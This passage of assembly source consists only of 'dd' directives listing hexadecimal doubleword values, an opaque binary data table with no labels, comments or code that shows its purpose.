dd 566448E7h, 18330309h, 1AA00825h, 0AD705800h, 31869C20h
dd 6D3200A6h, 2DD81FD4h, 0A0B0816h, 80A71A18h, 0DDF483EBh
dd 1DA9003Fh, 0E1E48A1h, 0C00716Ah, 0D144D420h, 2C318E61h
dd 0EC0ECh, 5D5732CFh, 0B4008CACh, 0FD23C1EEh, 13F687DAh
dd 0CF4AD92h, 1536C70Ch, 0B3CE3801h, 63C41DCCh, 0E0791420h
dd 7FE3079Ch, 783302h, 8EA26C85h, 0E788F700h, 7C8F1658h
dd 36BB005Fh, 0D0316551h, 8CFEB3F6h, 7F9E600Bh, 0BD5CA1A2h
dd 8621E5E4h, 0B5305861h, 0A7DF0562h, 0D0FDA6BAh, 71ACCC54h
dd 657DCA02h, 60DD7549h, 57A070h, 334DB911h, 812D438Dh
dd 0DDC4E4F9h, 0C0C739CEh, 4B97DF2Ch, 0E9A200A0h, 43213984h
dd 0D209454Ch, 3A38EFh, 63A52C0Ch, 0DF061CADh, 24260018h
dd 0C59DB8B4h, 3C4E4Ch, 4FEA4FDh, 0EDE61Ch, 2223576Eh
dd 5D0BEA56h, 0C6592900h, 3BB9358h, 8DDD0035h, 5AFCE4D3h
dd 2800AF81h, 59FD660Bh, 71BF799Ch, 0BD3B03CAh, 188CB431h
dd 60F61DA1h, 0C4004BF7h, 4858136Fh, 7BABFF45h, 364F0199h
dd 4AD3127Eh, 4E308E8Eh, 0EE0D60A6h, 5D3F40h, 2770E069h
dd 85F694A8h, 1443D54Ah, 907A9F61h, 48D88247h, 0E40050D6h
dd 777B5D79h, 93045526h, 5BE7964Eh, 5B938A4h, 4C8F9569h
dd 9EC4C084h, 0A858D019h, 146C00A4h, 52D4920h, 0BCA4026Dh
dd 7AB513FDh, 0B1D4A080h, 81727CC5h, 5D831E14h, 940973B0h
dd 1DDF8CAh, 5A7DD9A2h, 79D022h, 73E2EC1Ch, 0FF501869h
dd 4004CFEh, 765DD3B4h, 80A6E8h, 0AEF4B340h, 0D77F4427h
dd 67419A0Bh, 4A908043h, 3BB9ABA1h, 12001F6Fh, 7EAE428Ch
dd 1BFAB87Fh, 2700E876h, 0D70BAC83h, 906901ADh, 1FFA2817h
dd 0CD1B1ECEh, 575D0089h, 35DD308Bh, 7800FB90h, 0E85ABF04h
dd 0FD178Eh, 67733BE7h, 0FAF1814Ch, 3E19481Dh, 0B0238C00h
dd 3C39DCh, 0FBE72C42h, 76E20910h, 80451B3Dh, 0B6070CA4h
dd 3A0E8Fh, 5DF0D251h, 7FC7E3FDh, 0F02CFF8h, 116BFC2h
dd 2BE0823Ch, 0C830C3C3h, 248AACAh, 3BE68211h, 3440CDE7h
dd 8E0FE202h, 60FFBDA4h, 0EC0D75C7h, 27DB093Dh, 0A4A0A033h
dd 0FDE38677h, 7A164504h, 0A8C0A9F9h, 982DFA65h, 806A0178h
dd 0BE5F8714h, 19C723Fh, 21302A75h, 8030736Ch, 6B2B1F31h
dd 1DCBC035h, 5B6E55F7h, 0FDC38400h, 0CE3D960Bh, 79730060h
dd 4AC8562Ch, 0BE25EE6Ch, 0CE74BCh, 4728F627h, 8D002106h
dd 0FB2D4BC9h, 9E68A1h, 0D4453C8Bh, 82ACFF70h, 46787E00h
dd 1DC7129Dh, 0FDE40035h, 0F38DA24Bh, 0EBF86D88h, 0BC40B700h
dd 4C94B504h, 0F50A00C8h, 98514B7Ah, 16001A0Fh, 43B7321Ch
dd 0B503A3h, 7BE3EC8Bh, 4BDD28C1h, 9EB61E0Eh, 85CEE5C8h
dd 807D0092h, 391470A7h, 0CCC202ECh, 41C0B49Eh, 836B38E1h
dd 8EDF088Ch, 1B80D7FDh, 0B8CD8Ch, 0DC9BA6C8h, 811C2AD1h
dd 8562A907h, 0A5847E67h, 92D49881h, 5024F331h, 749C0021h
dd 88BB5D2Fh, 0AD1FA2ABh, 42805F3Fh, 0DF75BE63h, 1E870068h
dd 61707B9Fh, 0E1077210h, 82901985h, 0F962FBD0h, 1FD707A5h
dd 100E7ACFh, 0D2B2242Dh, 9725A800h, 6BC45612h, 5CEA00DDh
dd 3E52EDFBh, 0EF069242h, 75FFC971h, 74F6000Eh, 2C2D023Ch
dd 17263BE0h, 0C80344D4h, 0E0CA8A5Fh, 3C728069h, 0F0004AC1h
dd 0FBF417EFh, 83018547h, 61280415h, 0D1C0122Dh, 0D837073Eh
dd 0C073B5FCh, 826B4CA6h, 690B9300h, 6EC28B5Eh, 0B6E90041h
dd 1191E5C1h, 490E396Ah, 0C0C820C3h, 0D079F0CFh, 747E0058h
dd 5D7FA146h, 8807C445h, 0F5189C16h, 4A1DED40h, 1718B83Fh
dd 0A4FF7Eh, 0FB15D188h, 69E0E86Ah, 2CD0BA2Eh, 0D2D32E01h
dd 48FC1231h, 20860717h, 6B3891h, 51E14B06h, 0C402D298h
dd 1E25DD3Bh, 5FA8E8A1h, 34552E13h, 6351006Ch, 78023645h
dd 881FDF30h, 21BA485h, 0B5DA885Ch, 10B1AD90h, 0F04006FEh
dd 0BF7101D6h, 0C019D97Dh, 203D093h, 21591030h, 3233BD2h
dd 7454B53h, 83A58350h, 2A93D0E9h, 0D80A6198h, 0A836B500h
dd 1D8CC2E0h, 0BC3000A2h, 3930C44h, 9615C012h, 0C94211Bh
dd 881EF1BDh, 38C50236h, 0C64EE482h, 60A61CE3h, 0DCE54FFCh
dd 389AA2E6h, 20159928h, 0D8D28830h, 3CB4229Bh, 97AA81AAh
dd 801C8410h
dd 6335B05Ch, 0ED4D0E3h, 4BFD3B0h, 5F67607h, 0F430DB4Eh
dd 73D52508h, 41FA3EEDh, 0A84D1100h, 0C46662F9h, 0E6B8B20Eh
dd 1421208Bh, 1FD5105Ah, 4BBD4D2Bh, 2581FA87h, 0D0582667h
dd 0AA01D7C0h, 73BCA7A5h, 93CCCC7Bh, 74F49871h, 919617BAh
dd 3AF0D4F1h, 4D00BA04h, 8B7269DAh, 943CF87Eh, 75A9184Eh
dd 0ED9C10h, 24333C0Fh, 25BEDBE2h, 0B5079E7Ch, 4AE56DFBh
dd 558201C8h, 0E037F642h, 0CC911E79h, 74136200h, 176FF1Ch
dd 3CBF6086h, 0F49B8E0Fh, 223058B5h, 3A3F8924h, 9D470E6Bh
dd 7E412F9Ch, 8482ED4Fh, 19BD2929h, 3243AA00h, 5D002B9Dh
dd 5AEDDD96h, 0C3A0E47Dh, 0F4CF8321h, 308ED800h, 0C68F3208h
dd 541E00D5h, 8B03AF97h, 35034EF6h, 9408EEB9h, 0B13100D0h
dd 0B78A7F3Dh, 52EC20D7h, 2968AE00h, 0A5958FD0h, 86B100EBh
dd 0DE038223h, 0AF000990h, 0C2DF6F79h, 607EA581h, 0AD712024h
dd 9F79CD8Ah, 99682230h, 3BA5A652h, 2967559Bh, 0A2E46151h
dd 94119792h, 3BFCDC02h, 3CC890CAh, 789300BCh, 0F7639086h
dd 14C07EEh, 160E135Ch, 0D8A5B007h, 8098EBCEh, 4BD150EEh
dd 72AA4C5Dh, 0A596EE03h, 600625B5h, 0C563024Fh, 28827C98h
dd 12EC67C3h, 868AB1h, 37BE9508h, 190BDD01h, 204C15A1h
dd 908A9F08h, 1DBB2CF2h, 4F031E00h, 823358Dh, 82870991h
dd 0A880B8D1h, 40171B3Dh, 0F731BB07h, 9EC51F85h, 8F9417C0h
dd 7CBA75A8h, 52900AF8h, 9B06B46h, 0DCE07F1Fh, 8330A323h
dd 9E929854h, 0E2AF0130h, 525590DFh, 5818A857h, 8A40260Fh
dd 4FCE877Eh, 0C6D9A686h, 283893F0h, 66788800h, 8FA4A319h
dd 346A3035h, 4A1B7918h, 0F9D05E01h, 3BBD2060h, 0D158F0h
dd 5A8A23D7h, 46F61B8h, 7FAC9107h, 0AFE04316h, 1D750B2h
dd 0DA5FE4C8h, 0DC0D7CCFh, 667C03D6h, 48F8CC01h, 0F4F08CA8h
dd 88A0C426h, 6605EA52h, 0D2FEBB44h, 0C3220C03h, 195002C4h
dd 20296216h, 1B7CCB20h, 7D3607ACh, 0FCFE653Ah, 3892AF08h
dd 1B846400h, 23CBA4EEh, 742648D4h, 60A3200Bh, 0F72E9420h
dd 946093B4h, 23A9B811h, 0C507A0Dh, 9B991F44h, 0D1C0C108h
dd 8723A8D7h, 0F29A1CBBh, 0B7A40EFh, 0F95C186Fh, 26397F44h
dd 20011AFh, 0CBFAB24Fh, 3EE0CC8Eh, 8EE63B79h, 114C649h
dd 0EAE39803h, 0CC415EFBh, 0DFEA8C18h, 296D2383h, 0B509B000h
dd 3E9BAB89h, 2C444DE1h, 27E70402h, 4043F0F8h, 0A458AAB8h
dd 0F401CA6h, 0C74F5F8h, 9A2A003Ah, 0EDD02B2Fh, 7F000D34h
dd 0E5E0BBC9h, 129BA35Dh, 40641E83h, 0D6F06544h, 0AA04818Dh
dd 600A58C2h, 681344C2h, 0F8486Ch, 0BDC675D5h, 85406F6Bh
dd 0DAFD9509h, 91FC2EBAh, 0F5CB100h, 0FA2DD16Fh, 9667C401h
dd 4320C10Ch, 93E7430h, 836BDA3Ah, 8888F80Ch, 0D603028Ch
dd 0B562818Ch, 21806D19h, 68D550C5h, 3F007D40h, 9E75AD24h
dd 243A7B79h, 87847F12h, 4204DDC9h, 0A0E081A5h, 0DF072977h
dd 3B1A42BCh, 80D82A92h, 0FEBE948Ch, 0C75703B0h, 1843DD7Fh
dd 0A097C0F7h, 9900E008h, 194DEB7Eh, 24161C9Dh, 6F4828C8h
dd 36521BC1h, 88C7188Dh, 1B0086BEh, 834CE70Ch, 2663D021h
dd 804EECBh, 0D900625Ah, 8663546h, 553D3509h, 0C57C0A40h
dd 1B814034h, 554636B5h, 896B8879h, 0AFCC1B04h, 20C477DBh
dd 0A16368C2h, 0D5120B0h, 4CBF59E0h, 0FB094CD1h, 74A758AEh
dd 81E4C155h, 952086D9h, 60085A71h, 61352168h, 7F001AE4h
dd 0B7E8FDF9h, 7945251Fh, 0FFC0C2BAh, 0D068CC9Eh, 0AC52161Ah
dd 1B6A015Ch, 3B2D36A6h, 0B88BC90Ch, 0B71B92h, 90E54FDEh
dd 81D0DE8h, 0B0003892h, 4A2570BBh, 2D9D61Bh, 0CA500A40h
dd 0E401DC6Ah, 7C345BEAh, 699EF018h, 1C1D5822h, 7280B591h
dd 0E48763E7h, 50392260h, 2EC9AAC8h, 6004E3CAh, 37E00548h
dd 78135301h, 895D3EF7h, 2E9F460h, 0AF202BE7h, 0A0AE83B1h
dd 197E62E3h, 0A7223200h, 735250F3h, 730E797h, 1457D4Bh
dd 910C7781h, 4465EBF2h, 23D43AACh, 2EA80753h, 6429A0BEh
dd 4E0B675Ch, 29D4EEB2h, 41E89A14h, 9218B384h, 50100EF6h
dd 0D2C87A8Bh, 23A46280h, 515F339h, 0EE033C83h, 0ABB40AD5h
dd 1B6BC3F8h, 182536C9h, 93C88BAFh, 0FF73F71Bh, 42209C5Ch
dd 589064E0h, 0F1238D60h, 11735023h, 8F9300BDh, 3AC10823h
dd 2EB102ABh, 5A49CAD3h, 0BDA1A840h, 0AC90B898h, 98694B22h
dd 0F7BF2104h, 2965511h, 9B500444h, 0BE4404CCh, 23C700D8h
dd 6F8B3DC6h, 483AB7E5h, 148F8311h, 14D1059Eh, 642F6970h
dd 8CC0ACh, 0D57C41CCh, 0FB4031C9h, 7B071D0Eh, 718480F8h
dd 0BC6C4CAh, 2D0CBE69h, 0BD916017h, 0E60C2F80h, 48020A56h
dd 8DD0AFEAh, 0C07C628Fh, 4C09807Ch, 9F384C1Ah, 740C7EACh
dd 14E18FDh, 0EFAE958Ch, 733B7287h, 92506458h, 0E4D60D61h
dd 678C1281h, 20A3216Fh, 0A7BFCAD5h, 7082AF24h, 3878CD80h
dd 0FC791CBEh, 0C1E40016h, 1FA576BAh, 0F1C7D33Ah, 0AF76B251h
dd 3394B0C8h, 0C44180AEh, 8340E7B2h, 580FC989h, 4CF55ED6h
dd 5D215Ah, 3A90D274h, 0A87D065Bh, 73205090h, 0DAA0025Eh
dd 0EF161546h, 0DBCB5060h, 0B07E7C30h, 4255F0Ah, 10A9A470h
dd 0AF14C8DCh, 0E457FE02h, 596D7B0Dh, 1A720010h, 965D28B9h
dd 66B9C767h, 0E1873BD2h, 4ACC7A5Bh, 5C220091h, 0EFFF45ACh
dd 9C593983h, 0A0B10688h, 7AB95150h, 4DDE04E8h, 90B322F7h
dd 375370B4h, 36D1A200h, 0E7D0CE31h, 99600E5Ah, 4560AD9Ah
dd 37C2B97Bh, 0E90028B2h, 0F8A29688h, 4D86787Eh, 0AC803CF4h
dd 0A1D97CE4h, 924D448Ch, 88E4B303h, 0F8A4E5C7h, 4BBED4Ch
dd 55828677h, 0A0F092EAh, 1A934059h, 0CC231C2Fh, 154F0700h
dd 7DB8820Ah, 31AD0323h, 8A0997CDh, 0DFFEECA8h, 644A3C91h
dd 9B75215Ch, 7900EB9Fh, 0DED2A469h, 189CF619h, 0C85DEE3Dh
dd 8272B3B7h, 13BD2896h, 603B37F7h, 8300BF23h, 42B17251h
dd 80570410h, 0D2EC22D6h, 2C661A58h, 7FAF1815h, 51B900B8h
dd 9D723CBAh, 9CFB017Ch, 1F20165Ch, 1EE0F45Dh, 4F1640B0h
dd 3020580Bh, 4CC1BF73h, 0A623D87Ah, 0B01B7800h, 86391D36h
dd 168B244h, 28891B80h, 24AAEA4Fh, 3C06BFACh, 454EEE0Bh
dd 67E880A1h, 7F0E8629h, 0D736571Bh, 0C18C38h, 68091B87h
dd 37843688h, 3978C200h, 0D6EA4C2Ah, 558B1C7h, 48332EF4h
dd 0C0CEAEB0h, 0A3500B23h, 0BC448679h, 23A50055h, 4E276233h
dd 1D00727Dh, 0F4B3E402h, 0B96FBD5h, 0AFDEA510h, 9CCC0068h
dd 98F2400h, 629B9AB5h, 223600BAh, 0D02BD97Fh, 1492651Fh
dd 524D4A00h, 0BB6BC55h, 2C44B888h, 2CAC0E70h, 58909144h
dd 75780F14h, 647CA5E5h, 0A2BFEC04h, 6FC84C8Bh, 6551AFCEh
dd 2CCC5BB1h, 0E64D02B2h, 1E764E86h, 0D0375080h, 0F21F045Ch
dd 0A7855985h, 8C47C996h, 7D10FF84h, 71613928h, 754DF29Ah
dd 82CD0417h, 90037665h, 3CA5C5F0h, 74071912h, 0DCF43C90h
dd 156C79CBh, 2C588ED0h, 699F0D00h, 0B4F1F8DAh, 71635000h
dd 0AA6CB959h, 4E2D0FA7h, 44B30AEAh, 0A14255CCh, 0A2C433D4h
dd 0F35E30BFh, 25A02C00h, 0E7C68991h, 0D741369h, 2F00061Ah
dd 0A1C686Dh, 5F894E71h, 0A7E405FAh, 6CC8448Bh, 438077C4h
dd 0D991B9h, 9C64CBFh, 1AF9CA97h, 9278BE3Dh, 8080C89Eh
dd 2E3A52B7h, 0E02A20h, 7630FC19h, 8A00ED26h, 6C114702h
dd 0EDF0908h, 4865772Eh
dd 7C9B95C0h, 0ECAA84AEh, 0DCA6160h, 6B39EBF6h, 0FBA9801Dh
dd 8576BB5Bh, 681A030h, 1A710378h, 528399C0h, 0A4972FA2h
dd 281C091h, 20283292h, 167E9F8Ch, 582C2400h, 345417E9h
dd 68D6B0h, 13BCBA40h, 0EC1716D1h, 1424AE76h, 0D223E03Ah
dd 92A63E00h, 4872358Fh, 0BDF8F038h, 0D9C5028Ch, 3BB49EECh
dd 5086A260h, 30A2AC00h, 3854748Ch, 73DA254Eh, 0EA628480h
dd 70C16AC3h, 841BDC13h, 48BC18A2h, 892310F5h, 8FD60601h
dd 1863FA81h, 0D54FCA83h, 69A320D1h, 9E992CA8h, 0C4BFE904h
dd 0D251F480h, 98C050AAh, 0C37900A9h, 0F3FC299Dh, 500383B5h
dd 0FEAAC601h, 0A5D1E836h, 3DC1036Bh, 7EFF26B0h, 7805BCA0h
dd 81FA223Eh, 0A1D6391Ch, 0C7608C94h, 3E21C070h, 2773F91Ah
dd 0DD0E93ECh, 6FE25652h, 9F3343BDh, 0F2378803h, 2D6538B9h
dd 0D8398530h, 0EA008E79h, 3A2844E1h, 0F9C592h, 0D5B3D6F6h
dd 43C096AEh, 0B8310603h, 0C0180738h, 1CBE6ADCh, 837A6421h
dd 5F623DCCh, 8005E8A1h, 0BE747920h, 2147F1h, 83E136C3h
dd 1A7BED53h, 95AC0107h, 0BAC09B0Ah, 0C0CCBB55h, 15601888h
dd 0D5502FE2h, 2D317F91h, 0BD640876h, 4080209Eh, 482E9DE2h
dd 7A001AFBh, 0D6BCAFD8h, 680E86h, 0C820E4C6h, 82383C2Ah
dd 216B2600h, 5044FFDAh, 6D773CC5h, 0CE1DF100h, 66BF9B0Fh
dd 38643B30h, 0FD187Fh, 0C013A1C2h, 0B4CA5BCh, 620123Ah
dd 4488396Ch, 21B06708h, 0C90B80C6h, 9F758725h, 0D31E2100h
dd 1258A0A8h, 0D160C0DDh, 0C0CAFA86h, 5133E407h, 45202D57h
dd 681AFEh, 210A4F32h, 351326B1h, 0ADFF8306h, 3204355h
dd 7DA60785h, 0DCA0DE2Fh, 5D008266h, 2849D687h, 0C5FA264h
dd 608AEED3h, 0F1000CC0h, 9B110579h, 50BF44Fh, 22ECF087h
dd 44921FD2h, 9817B03Ah, 0FA081F28h, 0CF411C6Ch, 175B0091h
dd 0B69E3DF9h, 0DB6A0E93h, 0AE40D40Bh, 65835ED5h, 3FE78C3h
dd 0BD3015C7h, 0E200D452h, 6B546D1Eh, 4E001061h, 702DCDE7h
dd 0A1D6BDA6h, 444829A2h, 6AFA0821h, 8AC4311Ch, 0F9194140h
dd 0C04F6238h, 21576309h, 0FEEED520h, 3E1AFC50h, 21EC1950h
dd 0F9383984h, 0CC3DFC13h, 0EA851C01h, 9583A73Fh, 70E0EC60h
dd 0B92A1C34h, 96280533h, 21C40064h, 0B6ED0EABh, 0B44D52h
dd 0FA4C4410h, 242402BFh, 1A84E45h, 0C2B6D534h, 66C04881h
dd 0EE7599C3h, 0A000BCEAh, 84B95053h, 0BC488C90h, 0EFE2334h
dd 20C40B4Dh, 20B56234h, 5A0B4567h, 0D02B602h, 48695361h
dd 49D582E8h, 6306B8E7h, 995F3D1Bh, 4C7BEDE0h, 53C42606h
dd 4679B081h, 0B320217h, 319C201Ch, 4A6410ACh, 82D9000Bh
dd 45CDDEF1h, 1C001E70h, 86D206AFh, 24C8ADA4h, 2188C3Ch
dd 0C99821EFh, 2D1EBC80h, 10E6E4C3h, 8185ED37h, 0FB21C0CEh
dd 26D160B2h, 1170A727h, 0FA25802Dh, 91111C6Eh, 0FCD5C048h
dd 420083F9h, 0A6337145h, 7DE3B48Bh, 134E118Eh, 31883070h
dd 84E618h, 7F54D749h, 268719A3h, 0DC29E028h, 0C1AFF700h
dd 0BEEA9CE4h, 14BD15C2h, 9BE894C0h, 96001E98h, 6EE5A8B3h
dd 13D839E3h, 60B8BA35h, 36E21070h, 1111D523h, 288B0068h
dd 98AD01E2h, 0D60A06F7h, 0D886DEB6h, 2A335500h, 4F4263F4h
dd 2806493Dh, 0C91C6600h, 495E65D8h, 0CCA00776h, 0F0A4CEFh
dd 0B4A2400Eh, 23802B11h, 211C70FAh, 8D22D743h, 0F91B3F00h
dd 401CDA6Fh, 79CF02C6h, 4D352362h, 1D0424C4h, 2D683CCAh
dd 6A8F54C0h, 1B182B80h, 0B36019Ch, 183C2010h, 2E6888AAh
dd 0D10B4Ch, 0FE92513Dh, 1860E5F6h, 6869F94Bh, 709DA12h
dd 0FC818EFh, 286C6870h, 0B5F62040h, 374CEEF8h, 61721084h
dd 28350901h, 66480641h, 0BE6D1258h, 5413E813h, 20D15832h
dd 0D9BE56FCh, 0C27FFD00h, 0C3D2DBD0h, 1EE704DDh, 0C00BDA01h
dd 9C9053ACh, 0D83DFF2Ah, 0E27DEEF0h, 17543C92h, 49127DF4h
dd 9040B02Fh, 0B64F13CEh, 0F8166012h, 45079584h, 7069F576h
dd 11849D49h, 54E78766h, 3CF1401Fh, 0CA868Fh, 39C6BB37h
dd 95536318h, 9F059390h, 0EDE848D6h, 27EFA402h, 3AF4A447h
dd 0E3DCC08Bh, 75C3F600h, 0A8264A7h, 78AB5ED3h, 0D0850080h
dd 7721EE23h, 0E09531CEh, 264D5302h, 514B1862h, 8893906Fh
dd 50960C38h, 130C0582h, 492B6674h, 0FF8202C5h, 63592895h
dd 3048A86Ah, 0B9D6AD3Bh, 8C738C2Fh, 40E22E00h, 0FDA59A5Eh
dd 0C583F4EDh, 40CAA021h, 6620F8BCh, 440902DEh, 809E094Dh
dd 0C56C84CCh, 5C929Fh, 65AC0E9Ah, 25F54331h, 402EC824h
dd 1631608h, 0B9CB326Eh, 0FCC0CEAFh, 712EF11Eh, 5C3808DBh
dd 42C7B44h, 0FC202C63h, 1302B746h, 29D549E2h, 6E105731h
dd 0D400E22Bh, 0EA8FF973h, 38B08B84h, 81A43649h, 0AF465EC0h
dd 0A6A3E601h, 0EA573A20h, 27548490h, 1CD2CC18h, 2C69CBA9h
dd 5374748Fh, 73C023h, 0D535E20Fh, 0E0B9C249h, 0E2278A60h
dd 0BC6E00F4h, 2B04C17Ch, 4F1893CCh, 699A45Fh, 1E124F9h
dd 60C403B8h, 0C3B966EEh, 14A820BBh, 95043898h, 407132D9h
dd 0A3862881h, 48642E60h, 8AF810B0h, 3B0B1C8Ch, 7C19F848h
dd 63BE18AEh, 30ABE29Ch, 7C0074B7h, 0A4101817h, 551158Ah
dd 5EC78F29h, 8B58814Bh, 2FD10776h, 0D8892B26h, 10806DBFh
dd 39FD327Eh, 6436209h, 6C64B04Bh, 641F12BEh, 0BC8B8Ah
dd 0ADBE6E27h, 55825830h, 65F1BCD8h, 56233822h, 4CE21201h
dd 5C1821D5h, 2A6D88h, 7E2707E2h, 66BF694Ah, 8F6CC448h
dd 0FCF4851h, 90395D3h, 1024D236h, 210AF828h, 0D6C2D069h
dd 0C43C67AFh, 0F270608Dh, 38750974h, 405A016h, 6DBE0BEDh
dd 2B6584B0h, 32C94D01h, 0BA78BC9Fh, 7C1E18BFh, 6D60013Ah
dd 0FAC8FE9Dh, 681AFD00h, 5C98B84Dh, 50C15419h, 2C796B52h
dd 3E2E237Ch, 6422BE04h, 20D06292h, 7ABE7576h, 2CE8A271h
dd 726B800h, 7E53BDFFh, 802F4CA8h, 2091A600h, 0A066C017h
dd 3484A8AAh, 0B386019h, 2C202C0Eh, 306270A0h, 0B6150B00h
dd 0AEFB752Bh, 948F58F2h, 726A2D10h, 6F20D098h, 86662570h
dd 41CF0884h, 11622A35h, 16F89CA2h, 0BE654Eh, 95314D25h
dd 0DE702291h, 49F84F49h, 87C4CC0h, 988C1F5Eh, 2D831903h
dd 7F943754h, 2933BAA0h, 2340685Ch, 0FA28002Ch, 0D9891C6Dh
dd 0D860C891h, 0EE2F9FFh, 1F4FF186h, 0C0021D64h, 0A9A42D08h
dd 0A43B144Ah, 1A00AE23h, 3AC8299Fh, 786D0FF0h, 96D4B733h
dd 0C913071Dh, 903072BAh, 3808E20Eh, 64C241D5h, 26894063h
dd 0F9AE2h, 682F7D17h, 0AD205857h, 8856CD00h, 52B92A10h
dd 7818125Ah, 0A3F8C01Fh, 96181323h, 2069CB1Ah, 9468031Ch
dd 2506D97Ch, 59D0DF83h, 0F8D4046Eh, 506E4BDCh, 666BD400h
dd 7090428h, 5324C37Ch, 3D93446Eh, 0B7C0089Ah, 4E2451DDh
dd 0B1F67900h, 86D559E1h, 9C7540C2h, 81249458h, 714F66D3h
dd 39091C62h, 0FCC70FBAh, 0E3606344h, 0FD04BF9Ah, 19EF6965h
dd 0AAD30B81h, 231A0428h, 78E5D986h, 7F8031EFh, 1366D59Ch
dd 30CC6E4Dh, 0E5555E1Eh, 0FF6D27D2h, 23762C20h, 0BD00C4AEh
dd 0A4FAFBBAh, 191AB3Ch, 7E34D380h, 70010630h, 5E1557D0h
dd 234C7623h, 0FA26012Ah, 73191C6Fh, 0FDD2805Ch, 4FDBF9h
dd 6A7BCCA6h, 8C0E5DEh, 70901259h, 89B48825h, 0C05C4D00h
dd 89FB1C2h, 0A85CC100h, 954D4814h, 0BAA3037Dh, 9DC5CC18h
dd 9A343100h, 9F70AF33h
dd 0B7D8C4D0h, 0E88B2498h, 20C07788h, 0FC6C49E7h, 37E40B40h
dd 8D098257h, 0F8C5A421h, 8A788017h, 499D8CE9h, 1FA6FACFh
dd 0C01C5FE0h, 4EA16348h, 0BC18EF93h, 0E6A999C2h, 51D30062h
dd 0F1AE0901h, 451C4727h, 0FFC7572Ah, 42B074A7h, 49BCB6EDh
dd 0F2003054h, 0F658CBD6h, 4500838Fh, 4A4CE167h, 1C846B28h
dd 3B9407h, 92309614h, 9A4CDA13h, 65C80287h, 0C0CBBD4Bh
dd 0B1ED0638h, 18E6D118h, 477C03ABh, 0BF9F01FFh, 92BC5801h
dd 2EEF4B9Dh, 0C05E034h, 722D5B94h, 0D54AF568h, 5E036016h
dd 90099B1Fh, 5670A8BFh, 3D201C4Bh, 367CEB18h, 124ED198h
dd 9C1B26Ch, 4885AFCCh, 6256C581h, 30C04B20h, 0A8994420h
dd 0B43C5C0h, 0B38C02F1h, 0AD1A16CAh, 0AAE814E0h, 0FC00F4E8h
dd 837DD405h, 58129807h, 0B0BC7081h, 0AE55018Ch, 0B30A2D50h
dd 0FD98D021h, 0E5EE3C02h, 0A059BD05h, 0B8547EE0h, 7817009Ch
dd 6E428DA5h, 0FA005EF8h, 0E9C89B0Eh, 2DD6FDEh, 11E7DD2h
dd 0D0D0E462h, 0CB60B610h, 408BFE12h, 0C6F50850h, 6E07150Eh
dd 7F73A53Dh, 188CD824h, 0C35A0057h, 33A4753Ah, 5D026899h
dd 3F4A1CFEh, 0EDE08FBAh, 30A1C9CFh, 35946004h, 5B00833Fh
dd 3C724729h, 7C071731h, 7B4C3D2Bh, 31974FAh, 731EB02Ch
dd 7A0143Fh, 2D003C46h, 26322177h, 2C29227Fh, 1624831Ch
dd 88D4CB41h, 9E12C0D2h, 6909255Eh, 240716E3h, 6F604264h
dd 641226BEh, 3C8A5F72h, 0BEB8FA07h, 0C94A31E7h, 13407076h
dd 28E33902h, 80D5E659h, 0AF48B0B8h, 611B0443h, 97065046h
dd 0DEB6F148h, 12E46877h, 687C68F9h, 2CB58B57h, 9C465B20h
dd 53631703h, 980B7255h, 48EED34Dh, 0B15820DCh, 185CD1FCh
dd 0BF300125h, 34914B3h, 0F6FC40ABh, 0CA4C2122h, 74312C08h
dd 1C877411h, 0B1D5E1E2h, 870F0BC1h, 26E0E214h, 3817F573h
dd 0BCFB8A0Ch, 0C214Fh, 614C325Bh, 0C365B19Ah, 746B7E07h
dd 21535AA4h, 9534F8ACh, 0FAD801CCh, 0EE4EFAEh, 0A666D813h
dd 642A0C2h, 70ECB02Fh, 642311BEh, 80D2886Ah, 0BABE71FBh
dd 3F00D9DCh, 82AA5756h, 50DABFFh, 488F4A09h, 0DD38A019h
dd 1EADBE0Eh, 0F8EA4A51h, 5E080C2Ch, 847F0071h, 200C7C4Fh
dd 12F47E01h, 869DDDFAh, 76FF6CF0h, 4019246Fh, 0D1465E3Ch
dd 44C1F500h, 0F14383B6h, 0B7F1F09h, 0ACF0C8FFh, 0FE4880CBh
dd 0C085ED24h, 0EC5D8340h, 11126027h, 6F109507h, 44D3432Eh
dd 3C7D2A80h, 4BDD404h, 0C1C95683h, 4654D01Fh, 0C00D6CDh
dd 91054BA3h, 0D60D1B29h, 0C8B4CBC0h, 3124C776h, 0E4250F8Dh
dd 1F2CB735h, 7F1306C6h, 0B588EC8Bh, 77FE3EC1h, 9450E0E9h
dd 0B02C33D8h, 1DC4E299h, 891578A7h, 6CE86C50h, 54911D9Ch
dd 0C6944004h, 16068C1h, 0C542F042h, 60D3E46Ch, 4A2AF09h
dd 60B0B292h, 37008263h, 0FB0114F9h, 0C9AA1F94h, 2A31ECh
dd 0BF55E06Eh, 810E61A2h, 0F071A8FFh, 0C2A71B00h, 655828E4h
dd 2230062h, 0CE9F2EB4h, 0F933F2EFh, 0A8D8C811h, 2851DC4h
dd 20B3A453h, 0E0D00251h, 0D0910D79h, 2B5A3E90h, 16123D0h
dd 85D904A2h, 9E98D436h, 0C2525A7Dh, 294B01A4h, 533B0256h
dd 14D3C0D7h, 8E9648F9h, 7F12C801h, 6044DE3Ah, 64912D8Dh
dd 0C8FF1C0Bh, 0F1DBA5Ch, 0EAC6CA33h, 422F124Fh, 268B801Eh
dd 5D82B92Bh, 346F1301h, 0FC3362Dh, 0F8BA8660h, 0C0A9C0D1h
dd 4CF153BFh, 0A2B898B6h, 64FDF897h, 8C081861h, 349E42E0h
dd 0D2465Ch, 353876EFh, 58C644DAh, 680C8BCh, 0F7CCE10Dh
dd 6D86C900h, 89149210h, 40A40F6Ch, 0B3C49DF5h, 12C4C1EBh
dd 0C80C0072h, 83661AD5h, 0D460105Fh, 1083EDFAh, 3E619228h
dd 36BE121Ah, 0CCB974A0h, 0B630BC91h, 4CD1F2E1h, 0B21863D1h
dd 0DBA90A00h, 0B4C11F13h, 1ED91364h, 2EEC289Eh, 7366D30Bh
dd 59202169h, 0A880E706h, 7B6D8738h, 0A2073A0Bh, 1ECD6B5Fh
dd 11041D9Bh, 0FFD2805Ch, 0A81122E3h, 14BF4CD8h, 90783286h
dd 0F00C6E86h, 0EA2E64B0h, 0A803E8DEh, 48D7BA50h, 2F4B2090h
dd 0B02394h, 0AEF0D402h, 8212718Ah, 34A2E44Ch, 4858F510h
dd 95D30810h, 944591ADh, 64250B10h, 2C1C5Ah, 7DBE57FDh
dd 253F849Dh, 6975807h, 0B89A7EDAh, 0E03C2A58h, 45F507F7h
dd 23464ED0h, 542C5684h, 0B2002087h, 0EC83F296h, 8EF09920h
dd 5184CDF7h, 43C8ACDAh, 335AA2C4h, 1E990388h, 6CFE092Ch
